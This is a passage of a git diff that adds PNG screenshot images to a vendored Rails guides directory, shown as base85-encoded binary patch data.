    tT2%Fs4fgJ9yMIWWK*Le_H*AQxd)^gDHEDR&s zUvmUv@crzDhKZu1ahM=C(|!5zt+#mdr?b8{ZwF3Sq?!bbp_+mDSDzf&?zdg;NV>h? z_DISiqT-w1ABr+1$MV?@zub~`5&+)=#gXZP(4?69c?+1$F?U3w8JVePdj}?o|J)|& z1`0*D#mVF_C0oYNhc*#>h*lopY-nq^tFx=scD;0EbhCHS5Ikt@Xd7x>ZxuhkUgMi2 z8p1jl-%Z@K+iKY{CX^#dB043)Bq7Cj97YL84|k9J5;+o~9AUhE_O_RE`a?RKWp|j< z(lwm3QMhdr+-VbQt^u!*M%0T{h2hIb^^h~A$;8O$%1BbQISDQHEv~Y*Fd&|^ZMAnV5+COC66WFtHNCC) z(}yn-+>suzr~#6ok8Bs>evS{zsK^&BGjl* z=}<)gdE5u(GL@YJLDF;Jj-Cd*w`r||zT4Nf>QVc__dImmX&)lM&m>UebhhCu?Xe0F z$L?jiq#eR)2rB9q&TEjOQTYK0R(iVTHivZ@k=x-CljCntnrhzjI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q z@dGOj94y2w8{w;8jlB*6X?G^M#Re!+2dQWc3Suj*nk?}F5z=m$?vJu(&z4VRdikFF zN76juD*W*VefMFnWiBmp@LkbW{q=_>6>o?12W!O_HQD6EZP`QNxk4D3udA*p;JgkM z$34-XuaT$hd&Y3F9fb*S68{{jP0o-dC&9FK%chHbHnpStj(7c(Tb7Q$^N7VMpWcvA z2Y6ld=t|ZUzR``J!*>Q8fcWiOUav)+ioKfig$ozymPW@iZ`1EwHDk@JEo!jOQ)URW zn+NT=H>?@$UaSASKOGd24t>)#ulz?iK4i0dS4KNqL%Q_HFJbnbJ8k{cDm)(FTH__$Z*$?H>74rL>f3 z*}7XEd+a{(3NkejKBOnQ%Tb$0Md-SVPv;K8$RDm)$egVMeR`B|HAcNV=t^(3&8Z!I zdNy=AopUIBrwBPqwSo8|dxeH`Z^2$)haw`b0RR8|pBiQF3tSDCEeWovHa6hdxqr#N L0LrL8GxYgi&WYme literal 0 HcmV?d00001 diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_translation_missing.png b/vendor/rails/railties/doc/guides/source/images/i18n/demo_translation_missing.png new file mode 100644 index 0000000000000000000000000000000000000000..86a3121cc1452204d6d144486874182ec0fd160d GIT binary patch literal 34373 zcmb@tWmsEL*T0EtfdZwtdvPeP#T^Q?fkJV&;2xl8@#0VBc z_dj1}u4_J=$h!94YoGI5*|zRPXsRpVV3A=VARyoUbC-$xYSyG`=#TZG+<+#%Pv^bZOogv1{h>JZ8bxjrhSgW7dW~NEJT+3LHqm?6yQpZvCuU=$L{K zNP?IXb3m$$xtbEngcQvFY;>9>{4y;i)su^whEo!ZF@;JPcHfuX&A7RY;V6qbL(&pv zTcjclpIPNj<6bdUR6QKKVVBWm$lz_`Qo!G5X@YXnX%JF}LB8jxDQXI#-RbEVRagib z=BX?DYqWe+XHvoCpf2JrwXW33@6A)z^bNEE+zDxdpv7p0d`fn*3i5(FRbRliB^K{& z41m050~VDIn^x)e?pILPW6TUSQBGey^zRDA^q^}FIj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2*OThl3761S7(-8jUp|{pbFoFFMAJ_To66pB#tSL|GyhZYu$wwp z07m8&YwPsPjlY}OJWP$lpmEx*LAPe>e!uuWta#=afJ(p77N{A=RnwK-HHC?5&$!Wx z0ywF-mQ|s4XcJG!&$kTM)*mN28Y?lFlr^EOA$2Jm#XT*)k_yo|t;Jx(x$w?tNc%$5on+7+8KApCtZ7N!K}Dd9;fg^FEJ*K;lk8 z-FJg9)%rFM{rnGtIX9Pb>5cFB*_9Kbu@TEpIn|X(H$a*`y2Pqe=0MEtnP2(}*b^{;shNwrZL>3f(>w`PO|t zVj)A*w5qdqZ4NA1|}}FHJ$Z`SHpG8D_TlrPHO<8@(TJ~!dn+TjnwlR2XAm|k{b|; z?&@uE)YMsy>8&h?qck3;dCsegOVlroK!3d}NxeAm5$;jC?05S%j-kbv#E9)G%osq0 zcftiV_W0F9whM>d>zKz0>#~nu7~40h6(dFMsxbFCt#wCB4rzUXsrpSZi(MDif7E^5 zuB7dxEIH1c$u7XK2lplOA3fbhap@h0=KjHjxtlHZaL1Bv-CJ{q4(4v zyL(u;!h9W18Sh`Pc=W4fbkR-rQZ1!MWY3-GE4!E8AS$R?C(-(LI`DD7FWMgez$aZM zTF>sPQ8}xhTU&CJ-T0)`Cmv>4XB)WAs2c!nz724ucZNZ z&>TU?zFYFspb1%09CD$v-m}s`j=I@U(>AVw30>Vk&=6)<`twCJ+!xjvF4i#yV`uk+ zCrca%xedPK{t4_Iwp)n#c~(V}|9qoAru%z5{@~GnA?^S85cv9+IE8(AR{EJ;i@LBKZE-)^ literal 0 HcmV?d00001 diff --git a/vendor/rails/railties/doc/guides/source/images/i18n/demo_untranslated.png b/vendor/rails/railties/doc/guides/source/images/i18n/demo_untranslated.png new file mode 100644 index 0000000000000000000000000000000000000000..e6717fb7d17edfd6c6f63a63884fa0cdf813bce2 GIT binary patch literal 32793 zcmb5UWmH^2(=JK^K|*i~?rs5s!{EU+xD#9_xXwV(5Q4kA6ClBLNPqyr-Q8UVm>C%0 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(Q#q|i5!RbE3^%I<&O6s*4j*BD`7)bEdOMc0xe-Uf2vmj}`=bCFc3?)*~5P zyJ+(yw~n9I1&^okL&erZe_B6}Zom(98ln4XUBTgvA3C2ew28OI1l8nUlVtxrP;KT|(Ic^>wm_?b%DYjsFKHI!pSkuQq5;B?d^Jw>;P+vqJgy|V~ z-JH1TQm!Z`Pz@5AGXU6lOPeK9Epnh-fxh}}_#Q$)IlmZ&wg0~3JXxb7cG$mM<2;}B z2VtC%519@Z3|SdD#fy&A2EJa*D{LJ}XoVUqA?Kh($~rpLZFDXKc&ES%Xs%fowmNdV z@Fu)6D7O$Vw@4_R7y>YftqUNJ9Ze}IVCL34_zKUq0 z8%;XY6y8;Cq`%+g7txkmxU1u6t>ZMMV?ERUpjpggjwuf-DV!63ynJrq;6ArHy$?iA zCksUQmZ3)9a59S=&4bM+fXZciW*4rPC9-1SP z&wse*j-G{|mna%}aBdd$G48w<)!C!YYlV)iN=|-Qzc#5+7bW)GA!Z#H{@e~O-$k#3 z&GQcYdw3hBDv7ef6};0sp}5brHU}%ufB`+d2^I-Z7eoUt=Y035MY(0ke|<7!^SJ$^d3HL^%g1;Hcg zpD+=*-qibaV{`M#B(+`TD9xeaMW>Zb>0M7@Qe)v6o%OCCFyEqs3yr5iIY6>%;w(5V zgZ2WZaWFE(@fccSDu2#&)&)Hs#`a%4@jjB+YOeD=)W)6XB40zMFL*85@fg=cf}aVu zNp8T@HeG*#@w{l^KcQ`C#Y71H{KrpZzsZDCCvfqJ{$u+a?EgWqzb*ct<-Y^|KY!v} dm~h}OOTun~J~4m%qX;iOmRFN2d}QMH-vG?-9{d0R literal 0 HcmV?d00001 diff --git a/vendor/rails/railties/doc/guides/source/images/posts_index.png b/vendor/rails/railties/doc/guides/source/images/posts_index.png new file mode 100644 index 0000000000000000000000000000000000000000..50e956e8be4c41288ba34cd8d463e6ec65dddb1e GIT binary patch literal 5824 zcmd6LXH-)`*DfV0!B7$@0i=Xp41^-mM4Awa^xlh7L`0-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PVOGUA#FXd`GKrS@QNExyJ-8BGC2n&R^h$3+(>iy^OhV zZZ*!s-}w`zLBi_!JHq7h7udWU|qkJCSSBj@?wHJc9!T z+7}G?UwCpXWVBESBVge(rX&IPLT~n=Mf@I98OJCYWN?WfUX;T#MeSe%IDG8BHN=92p#SsW6@*eRU_%8E=96%iLA;;_px3`T5EUKF|`~Gje!~(@OA(OHV^(zWwph zNMLUtwfvtZRzgMAA{zZqbF1kJd1mjTKFc> z^HCCwD!*toa*!N3P@xZ=zE%__>`$7-RVh9iWYEH|GOHb#C+H(4bzn}~-hv$0seDFq z?+ysXw?%oxXd}V(CcHcl@(wD7L%u>9(&^VX@+miE4gU%`E<4qwu_$tbr{lr`B$Yc2LBx%NE1kl$bMcQ>80IY-)}it zsCi?ckJd$4)hKI9bB@)4$~aExqY1^d&LYqNvq?O}N=4$l&vyIlfUMpXOQ%62)9kas zoe8giEKiqNc@L^6i`rau2aALO{h_(mI^(=4N#BcE1X2Y37-~W7Je+;s)@II&AfP;F zF78VE;~k)q826Ss9;}bOyEZt`&QvZP?FXlr;?Z|dH)^FarDG{tqy9`bpYb`>bhQc7jzN47c&tgIQ>0xPh zy&oGKm_ieG1DZZ-D;?rydmp@&btljZUdKR;3vT@@twy9uP#lnC-rq{P?LzesU=p>T zHue;&*8y$`K8V#!lLhD}%O3+y6$3bBZ;F%u!B2o?9xh(tS84|e?|!qeS5jF3yWn0h pzasmm0`QI9xx@JXM~0Rz?+CyTYt=aR0cDy@^S-WHxr%+n{{Vz<-`M~F literal 0 HcmV?d00001 diff --git a/vendor/rails/railties/doc/guides/source/images/rails_welcome.png b/vendor/rails/railties/doc/guides/source/images/rails_welcome.png new file mode 100644 index 0000000000000000000000000000000000000000..7e02ce5014a1da707510b384381b5cace8fab9e3 GIT binary patch literal 76496 zcmd42V|QiW@;2PDZQIt4ZFFqgwrwXJ+qTuQvxAO0wmY`_$@!gg{^$M(&x<|Q7;CJx zt7gqL3s+qgr6@0n0E-Lz?b|m5X(=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